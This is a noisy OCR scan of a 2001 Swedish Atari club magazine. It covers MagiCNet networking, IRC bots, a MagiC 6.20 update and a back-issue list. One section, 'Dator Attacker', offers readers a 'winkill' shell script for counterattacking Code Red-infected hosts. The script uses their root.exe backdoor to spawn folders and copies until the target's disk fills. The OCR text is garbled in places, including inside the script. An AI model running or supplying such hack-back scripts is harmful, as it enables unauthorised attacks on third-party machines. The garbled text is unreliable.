MiNTnet, detta bara for att se kompatibiliteten mellan dessa
tva system. Med hjdlp av BNet sé ar det timligen enkelt att
fora 6ver iirc med dess filer mellan Erica och Michelle.
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Installningar for MagiCNet

Michelle MAGX_RC.NET har f6ljande innehall:

etc_path c:\etc
ifconfig 100 addr 127.0.0.1 up

# Nitverk 192.168.1.0
iflink -1 s10 -d u:\devimodem1

ifconfig s10 addr 192.168.1.2 dstaddr 192.168.1.1 mtu 1500
link0O4 up

ifconfig s10 netmask 255.255.255.0
route add default s10 gw 192.168.1.1
route add 192.168.1.1 s10

Erica MAGX_RC.NET fungerar som nétverksbrygga:

etc_path e:\etc
ifconfig 100 addr 127.0.0.1 up

# Nitverk magxnet
iflink -i s10 -d u:\devimodem?2

ifconfig s10 addr 192.168.1.1 dstaddr 192.168.1.2 mtu 1500
link04 up

ifconfig s10 netmask 255.255.255.0
route add 192.168.1.0 s10

# Nitverk ATHOME
ifconfig en0 addr 192.168.0.2 up
route add 192.168.0.0 en0

# Rutt till Internetanslutningsdelningen
route add default en0 gw 192.168.0.1

Inte mycket att orda om instéllningarna utifall ni ldst min
artikel om MagiCNet i Atarimagasinet Nr 2 —2001. Vad jag
ser nu i efterhand &r att ifconfig sl0 netmask &r onddig, da
just den angivna ovan &r forsatt som default och behdver
inte anges. Sista raden route pa bade Michelle och for Erica
under bide magxnet och ATHOME kan avslutas med en
nolla i IP-adressen. Har man en nolla betyder det att rutt &r
satt till alla datorer i angiven nétverksadress. Pa Michelle
star det route add 192.168.1.1 sl0 vilket betyder att man satt
en rutt till Ericas IP-adress. Hér skulle man kunnat avsluta
med en nolla ocksd men en nollmodemkabel kan ju bara né
en dator, sa jag tyckte det var béttre med Ericas IP-adress.

Michelle anvénder u:\devimodem1 och Erica
u\dev\modem?. Béda datorerna har givetvis var sin hosts-
fil. Dér har jag angett IP-adress och namn p4 alla datorerna
som kan nés av respektive dator i respektive hemnétverk.

Detta dr inte nodvindigt heller da man i klartext i T
MAGX_RC.NET talat om vilken IP-adress man vill haoch ||
var default gateway finns, men kor man traceroute sa ser det|}
snyggare ut nir respektive datornamn sitts intill IP-adres- |
serna under forsta fardrutten i hemnétverket. Har dven
triffat pa vissa program som absolut vill ha datornamn och
detta fran hostsfilen

Att skapa en bot
(av Mikael Ljungberg)

IRC = Internet Relay Chat, ett sétt att kommunicera med
varandra, teckenbaserat. Man ansluter och gar in pé en
kanal, ddr moter man andra ménniskor och en och annan
bot. Pa kanalen #atarisak finns en bot, den heter SAKhome.
Bot kommer av robot, det vill séiga att en bot gor saker
automatiskt och vad man ber den om, och den &r ett script.
Man anvinder en bot for att dels hélla IRC kanalen igang
med alla dess instédllningar som exempel topic, vilket dr
dmnet for irc kanalen. En bot kan hilsa alla vdlkomna in
och dven sitta ban pa de som ska héllas ute ifran kanalen.
Man kan dven fraga efter statistik, allt beroende pa hur
bot’n &r konfigurerad. Den dr mycket anvéndbar och kan
bara kontrolleras av de som &r utsedda att gora det. Det vill
sdga man skriver in i en konfigurationsfil vem/vilka som har
rittighet att kontrollera den. Den som har rittigheter att
kontrollera den kan sedan siétta op och annan status pa de
dvriga i kanalen, den kan dven stillas in att sétta auto op pa
vissa som kommer in pé kanalen. Den kan ocksa Gvervaka
spraket s att ingen svér eller sdger fula ord, da blir de
utsldngda. Bot’n bestar av script, man maste vara bra pa irc
script programmering for att gora en bot. Har foljer nagra
exempel pa irc kod som egentligen &r irc kommandon, dir
vissa dr variabler som kan vara individuella f&r varje bot.

on= 1:JOIN:#:{
if ($nick == $me) {

echo -s You have Joined $chan

else {

/notice $nick Welcome $nick to $chan $+ .

}

Denna kod visar information och hélsning. Forsta alternati-
vet skriver i bot’ns status fonster exempel You have Joined
#atarisak. Alternativ tva s hélsar den vilkommen den som
ansluter till kanalen, och det visas i kanalfonstret hos den
som ansluter. Kan exempelvis se ut s hir, Welcome
Mille_1 to #atarisak.

on 1. TEXT:*shit*:#:{
if ($nick isop $chan) { halt }

else if ($me isop $chan) { /kick $chan $nick No
Swearing on $chan }

}
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] Att se till s3 ingen svir kan géras med foljande kod. Om

| 'bot’n dr op och nagon sédger shit kommer den att bli kickad

ifran kanalen med meddelandet No Swearing on #atarisak.
Detta ir ett bra siitt att halla brakstakar ifrdn kanalen, och
sanna som kommer in for att forstora.

| En bot bestar vanligtvis av ett irc program med tillhérande

J |script som aktiverar och styr bot’n. Man kan dven ldgga upp

== en bot pd en annan server ndgonstans pa internet, s& man

slipper ha en dator hemma géendes 24 timmar varje dygn.
Slutord

Att ha en IRC-klient tillgénglig i datorn &r i varje fall for
mig lika viktigt som att ha en ICQ-klient ndrvarande. Med
IRC kan man dessutom prata med ménniskor man inte forst
sokt upp, som i fallet med ICQ. Webbaserade Chat som de
hos Aftonbladet eller Passagen &r alldeles for dedikerade en
sak och dessutom pé svenska. I IRC finns massvis med
olika rum man kan bestka samtidigt och l4ttare kommuni-
cera med nagra man exempelvis vill ha tillfdllig hjalp av
eller utbyte av dokument med.

Prova IRC du ocksé. Sjilv finns jag pa kanalen #atarisak pa
IRCnet flera ganger i veckan liksom Mikael Ljungberg
(MrAtari) som dragit igdng sin bot som beskrevs hir, pa
kanalen i praktiken. Det r lite 14ttare om man vill ha en
iterativ konversation pa kanalen &n i med-users via e-post.
Mestadels om man sitter och 16ser instédllningsproblem for
program eller systemprogramvara med varandra da man
slipper sitta med en telefonlur i 6rat som inte racker fram
till datorn.

Dator Attacker

av Erik Hall

u nér allt fler manniskor far tillgang till bredband, s

drabbas fler och fler av attacker och ovilkomna besok.
Syftet dr ofta att fa tag i en dator ddr man kan utnyttja bade
lagringsutrymme och olika nétverks tjénster.

Det vanligaste man anvinder sig av andras datorer till ar for
att dolja attacker eller for att skicka spam-mail. For att hitta

”Oppna” datorer sa anvénder hackarna ofta en sdkrobot som

soker efter datorer som 4r 6ppna och som &r uppkopplade
under en langre tid. Ofta startar attacken med att man
pingar datorn med jimna mellanrum for att se hur linge den
ar igdng. Vilket ibland kan ge ett helt osannolikt pingande
fran flera sokrobotar.
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Attackerna &r ofta uppdelade i 2 eller fler nivéer
1. Pinga datorn med jidmna mellanrum.
2. Kolla vilka tjanster som svarar pa aktuell dator.

3. Utnytja tjdnster direkt eller placera program pé datorn.

4. Fjarraktivera program som placerats i datorn innan.

3%.cetio. com
‘nétworkiowa.com
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D4 kommer ju fragan, kan man hacka din Atari?
Svaret 4r JA !

Om du har tjénster pa din dator som Gppnar den mot
omvérlden sa 4r detta fullt md&jligt. Vanliga attacker &r mot
HTTP, FTP, POP3 (e-post), SMTP (e-post) och Samba
(Dela ut mappar ala windows)

Vad kan dom géra ?
» Skicka e-post (spam) fran din dator (SMTP)

» Ligga in osmakliga bilder m m dolt i din dator (via NFS,
FTP och SAMBA)

Vad kan jag da som anvindare goéra ?

* Fraga dej sjélv, Behover du vara 6ppen utat ? Om inte
sting av tjinsten eller spirra den for anvindare utifran. Om
du &r programmeringskunnig och kor MiNTnet ta bort
svaret pa ping (icmp.c) och kompilera om MiNThnet.

OBS du kan inte sidnda en ping till din dator efter detta, men
det minskar attackerna radikalt d& de robotar som scannar
datorer genom ping missar din dator.

* Kontrollera alla loggar frén servrar som koér pa din dator
s4 att du har kontroll pa vad andra kan ha ’fipplat’ med pa
just din maskin.

* Se till att det blir mycket svart eller omgjligt att logga in
som root utifran ifall du har MiNT och MiNThnet (och
MagiCNet).

* Tink pa att om du anvénder ICQ sa vet alla direkt vilken
IP-adress din dator har och vissa sokrobotar utnyttjar ICQ
for detta dndamal.

» Se till att inte vem som helst kan anvinda din mailserver.
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Kan man attackera min Windows maskin ?

Det dr mycket enkelt att ta Gver en dator med Windows, da
det enda som behdvs ér att du delat ut din harddisk och inte
har ndgon form av en s k brandvégg. Om din harddisk &r
atkomlig utifrdn s 4r det mycket l4tt att byta ut vissa
systemfiler som sedan 6ppnar datorn &nnu mera nésta géng
du startar om datorn vilket man gor ganska ofta i Windows
virden ;-)

Brandvéggar for Windows:
http://www.zonelabs.com/

http://www.sygate.com/

Kan man attackera Linux da ?

Joda inga problem dér heller. Dir giller samma sak som for
Ataridatorn.

Red Worm

Tidvis har viruset RedWorm nistintill blockerat all Internet
trafik for mej och fyllt webbservern Apaches loggar med
skrdp anrop. Nu &r det ju bara sa att viruset gor den attack-
erande datorn vidoppen vilket ju gor det busenkelt att ge
igen. Kor man MiNT och MiNTnet &r det bara att skriva ett
enkelt skript som t ex detta:
#/oin/sh
#HOME=/home/root
while echo "Reverse attack” ; do
# echo random $SRANDOM

wget -q $1/scripts/root.exe?/DoNotAttackWithYourFuckingOSSRANDOM

wget -q $1/scripts/root.exe?/c+mkdir%20AtariStrikesBack$RANDOM

waget -q $1/scripts/root.exe?/c+mkdir%20A$RANDOM

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$SRANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20$RANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20TOS$SRANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20MiNTSRANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20MintNETSRANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20MAGICSRANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20MTOS$SRANDOM.exe

wget -q $1/scripts/root.exe?/c+copy%20root.exe%20MROS$RANDOM.exe

wget-q $
done
Ge skriptet ett namn som t ex winkill. Se till att wget dr
installerat pa systemet. Skriv sedan winkill och ip adressen
du vill attackera tillbaka pa.

Tex:
Winkill 192.168.0.15

Kor sedan skripet sé ldnge du har lust (helst linge) och
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avbryt med ctrl+c

Den attackerande datorn har da ganska mycket kopior pa
viruset och en massa foldrar med slumpade namn. Kér man
tillrickligt linge s& kommer den attackerade maskinen att
stanna med disk full vilket dom flesta windows anvindare
vet vad det betyder :-)

Ar man van vid Apache webbserver si kan man litt koppla
ihop RedWorm attacker mot detta skript men da bor man se
till att det inte 4r en oéndlig loop i sjélva skriptet.

SCSI Disk

av Erik Hall

kaffade en ny harddisk till min Hades 060 som jag kan
rekommendera.

Fujitsu, AG LP 9.1GB 68pin Ultra2 10k (MAG3091LP)
10000rpm, 2MB cache, 5.5ms, SCS/LVD-U2

Om man skaffar en adapter mellan 50p och 68p sé funkar
denna utmérkt i Atari burkar.

For att den skall fungera sa méste man bygla den som
Narrow (13-14) och Sigle-ended (15-16).

Jag kopte min pa Specitek (www.specitek.se) och den kostar|
ca 1600:- Den &r prisvird och mycket snabb.

Vill ni jamf6ra priser sé kolla in “The Buyer’s Guide -

Sweden” http://www.bugsoft.hik.se/buyer/default.asp




MagiC 6.20

av Mille Babic

et finns ndgra nya och spénnande funktioner, samt

forbattringar i senaste uppdateringen av MagiC. Detta
disklevererade operativsystem for Atari och dven versioner
for kompatibla datorer, som Milan och Hades &r nu upp-
daterade till version 6.20. Uppdateringen finns denna gang
att hamta gratis pa tillverkarens (ASH) hemsida, men det
krévs att man har installationsdisketterna av version 6.10.
Det ror sig alltsd om en inkrementell uppdatering och jag
kommer att beskriva hur man gér till viga med att géra
detta. Det 4r alltid nagot speciellt med nir ett operativsys-
tem uppdateras, sa dven i detta fall nir ett mycket anvint
sadant forses med nya funktioner och forbittringar till Atari
och kompatibla datorer.

MagiC styrka dr att den &r installerbar pé datorer, som inte
ar framtagna for multikérning. Den ger en sadan dator
tidsdelad multikorning med signaler, tradar och filsystem
med langa filnamn. Till MagiC gér att hinga pa andra
filsystem och den har stdd for objektlénkning och symbo-
liska fillinkningar med mycket mera. Att arbeta med tradar
ger som ett exempel mojlighet att med ett registerprogram
eller relationsdatabas att skriva ut etiketter via en trad,
samtidigt som applikationen sorterar data i en trad och
anvéndaren framfor datorn gor en sokning i databasen och
allt detta samtidigt. Ett FTP-program &r egentligen det bésta
exemplet att anvénda tradar, programmet hiamtar datafiler
fran kanske tre olika servrar pa Internet, samtidigt. MagiC
finns i versioner korbara under MS Windows pa en PC, den
finns for MacOS och det finns versioner for de
Atarikompatibla datorerna Milan och Hades. Ett brett
spektrum dér man tar till vara pa andra datorers styrka och
systemprogramvara och det &r inte for intet man hittar
anvédndarvinliga egenheter fran andra datorplattformar
under skrivbordet jinnee tillsammans med funktioner fran
Atari.

Nir version 6.0 slédpptes 1998, sa satsade man pa en storre
integrering mellan MagiC, skrivbordet jinnee och andra
systemutdkningar som NVDI, Scripter med flera. Detta
med stod fran gemensamma funktioner och olika protokoll
och att detta ndrmande sker med produkter ASH salufor dr
ingen Overraskning eller att en standard bérjade ta form.
Denna nya uppdatering gér istéllet &t ett helt annat hall,
nidrmare sagt det helt motsatta. MagiC borjar fa utdkade
funktioner med stod at MiNT. Detta gor att MagiC 6.20
internt &r olik tidigare versioner av operativsystemet.
Andreas Kromke har dndrat om filhanteringen for att fa
kompatibilitet med MiNT och skrivit om alla Pexec() lagen.

Uppdatera pa Atari

Packa upp arkivfilen MagiC620Atari.zip och extrahera
datafilerna och mapparna till din hérddisk pa en diskenhet
som stodjer langa filnamn (VFAT). En mapp med namnet
Atari skapades och innehéller program och tillhtrande filer
som modifierats. Denna mapp innehaller dven en under-
mapp kallad Krypt med nagra datafiler och undermappen
Atari (igen) innehallande.

I'mappen \Atari\Krypt\Atari\ kommer lite handarbete krivas
for att uppdatera den av MagiC viktiga datafil
MAGIC.RAM. Denna datafil ersétter i internminnet (RAM)
operativsystemet TOS som alltid laddas fran ROM till RAM
vid en omstart. Den MAGIC.RAM som skall patchas 4r
originalet pa installationsdiskett 2 av MagiC 6.10 och inte
den personiserade man har pa harddisken,
C:\MAGIC.RAM.

Forst bor man ta sidkerhetskopior pa installationsdisketterna
av MagiC 6.10. Dessa kopior bendmner man ASH MagiC
Atari 6.20 Disk 1 och 2. Nu kopierar man datafilen
a:\\MAGIC.RAM fran diskett 2 pa kopian till mappen
\Atari\Krypt\Atari\ pa harddisken.

Nu skall jag direkt erkédnna att jag inte lyckas sa bra med att
fa skript med filtypsédndelsen *.btp att vara korbara pa min
dator. Det dr sdkert en ltt instdllning i jinnee eller ndgon
annanstans. For att slippa ange s6kvigar som inparametrar
till KRYPT.TTP eller fundera ut hur man kor btp-skript, s&
kopiera eller flytta helt enkelt KRYPT.TTP till mappen
\Atari\Krypt\Atari\

Kor KRYPT.TTP och ge den foljande inparametrar:
magic.ram.krypt MAGIC620.RAM MAGIC.RAM

De tre delarna i inparametrarna skiljer sig at med mellan-
slag. Datafilen magic.ram.krypt finns redan i mappen
\Atari\Krypt\Atari\ efter extrahering av den himtade och
packade datafilen MagiC620Atari.zip. Den sista parametern
MAGIC.RAM var den datafil du himtade frén kopian av
originaldiskett 2 och slutligen datafilen i mitten &r den fil
som skapas av KRYPT.TTP. magic.ram.krypt och
MAGIC.RAM fungerar alltsa som infiler och
MAGIC620.RAM som utfil.
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= Scripter -

lalj en metod:

Backup gor det mojligt att packa till
diskett. Arkivet splittas automatiskt
till flera disketter.

Normal innebar till packad ARJ-Til.

Normal | | Backup | | Aubryt |

Dop sedan om MAGIC.RAM till MAGIC610.RAM i mappen och dop dérefter
MAGIC620.RAM till MAGIC.RAM. MAGIC.RAM kopierar du sedan till
kopian pa installationsdiskett 2 och skriver 6ver den ”gamla” som redan finns
dér.

Uppdateringen till MagiC 6.20 skall alltsd ske med en nyinstallation frén
disketterna (kopiorna).

Nu fanns det ju dven ett antal program och tillhérande filer frén botjan i
MagiC620Atari.zip. De som ligger under forsta mappen \Atari. Dessa skall
kopieras till de tva kopiorna av installationsdisketterna, alltsa de disketter du
kopierade MAGIC.RAM till och tidigare skrev ASH MagiC Atari 6.20 Disk 1
och 2 pa. Dessa uppdaterade program och filer skall ligga i de mappar dér det
redan finns sddana med samma namn pa disketterna. Vad jag kunde se lag de
flesta datafilerna pa forsta disketten med s6kvigen

a\MAGX 1\ COPY\GEMSYS\GEMDESK\.

Kopiera dem dit och skriv 6ver de som redan fanns pa disketten. De gamla pa
disketten dr ju givetvis fran v6.10 da det var dessa disketter du sdkerhets-
kopierade fran forsta borjan.

Nu har du tva datadisketter med en komplett installation av MagiC Atari 6.20 och
kan borja installera den nya versionen av operativsystemet med att kora
ANNSTMAGC.PRG pa forsta disketten.

NR 3/2001 © Svenska Atariklubben

OKAMI 3.0

av Kenneth Medin

I ite 6veraskande sé har Jos den Bekker tagit nya tag med den utmérkta
offline-l4saren for mail/news. Okami, som redan tidigare slagit de flesta
konkurrenter oavsett plattform pé fingrarna, har nu blivit &nnu béttre!

Tyvérr dr dokumentationen inte i samma klass. Till den nya 3.0 beta 8 foljer
ingen med alls. Vill man prova Okami sa behévs manualen till 2.0 plus vad som
dndrats i dom 22 betaversionerna av 2.1 innan man tar del av vad som hént i 3.0!
Den som fatt igang det blir ddremot rikligt belénad av finesser och full kompati-
bilitet med RFC:er etc. Aven i svenska nyhetsgrupper med QP-kodade dmnes-
rader lirar Okami utan problem. Mer om Okami 3 i kommande nummer av AM.

http://www.xs4all.nl/~josdb/okami.html
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Information

Material i form av insan-
dare, artiklar eller fragor
som du vill att vi skall
publicera emottages
garna. Texten skall vara
i rent ASCIl-format och
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via modem (BBS) eller
mail till oss. Bilder kan
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TIFF, JPEG eller lik-
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Nummer 2 1998.

28 sidor. Tidningsdiskett 98-2.
Internetbok. Gratis pa internet del 2.
Terror pa nitet (om reklamen pa nétet).
Erik Hall presentera sina program.
Newton. Fragor och svar om Cubase.
Corsair. Scart till Falcon. EZ230 mot

AtariMagasinet Nummer 4199

Tidningsdiskett 98 3/4. Brus, musikens
fiende nummer ett. Hades. MagiC och
Mint vilket vdljer man? NAS 98. Med
Atarin i lokverkstaden. Milan. Nature.

Nummer 1 1999.

32 sidor. Tidningsdiskett 99-1. NAS 99.
Bokforing 3. Atarin som textterminal.
Kommunikationsprogram. Midi, mirakel
eller mardrom? STinG. ASH-emailer.
ICQ till Atarin. Imagemaps. ani-tools.
Chatter, IRC-klient. CT2B Falcon
accelerator. STraight BBS (SAK-bbs)
lite BBS historia hur det r att starta en
BBS.

Nummer 2 1999.

28 sidor. Tidningsdisk 99-2. Milan 040.
Jinnee 2. Plugins till Jinnee 2.
Ghostscript, lds PDF-filer pa Atarin.
BoxKite/zControl. Effekter och sound.
MP2 till Falkon. Notator. Gemar. Luna.
CAB 2.8. Doom pa Atarin. Skdrmar om
Falcar och skdrma.

Nummer 1 2000.

28 sidor. Tidningsdiskett 1-2000. GEM-
Setup. Mint 98. MP3. Stupido. Nybyg-
gare i 21:a arhundradet. DOOM pa TT.
Manitor. Joe html-kodning. Smurf.
Bilduppldsning. Pixart.

Nummer 2 2000.

. 28 sidor. Tidningsdiskett 2-2000.

Arsmétet fullstindigrapport. Okami
nyhetsgrupper med finess. aFTP skicka
upp din hemsida. Smurf allmént om

itprogramet. Effekter och sound del II.
Vision grafikprogram. Pretty good
privacy (PGP). Bubbles. Telefoni.
MagiC Game Contest 1999.

Nummer 3 2000.

28 sidor. Tidningsdiskett 3-2000. Milan
1?2, Scripter, Programmera PL1, Ultra-
Dyne Pro, MusikerMagasinet, Bygg din

Mono Centronic Sampler, AtarICQ,
nternetuppkoppling via MiNT, Mille
sammanfattar NAS 2K, Artikelserie om
Bredband del 1.

24 sidor. Tidningsdiskett 4-2000.
Verklighetsrelaterad Atari poesi, Breda
band & smala snéren, MyAtari & atari
active, PS2 mus till Atarin, Xgem,
MagiC Game Contest 2001, SAK’s
Hemsida plus mailinglistor, Lynx &
Jaguar nyheter, Bredband del 2, Elmar
Hilgarts Pocket adapter.

Nummer 1 2001.

24 sidor. Tidningsdiskett 1-2001. NAS
2001info, Natframe, Fmax, Seltos,
Bredband sista delen, Kallelse till
Arsmétet, Vitaminkickar i hemstudion,
Pegasus, Captain Void tillbaka.

24 sidor. Tidningsdiskett 2-2001. Allt
om érets Error in line, Koppla ihop din
handdator med din Atari via STING,
Seriell mus pa din Atari, Allt om
MagiCNET, Information om arets NAS,
Info ifran STraight BBS.




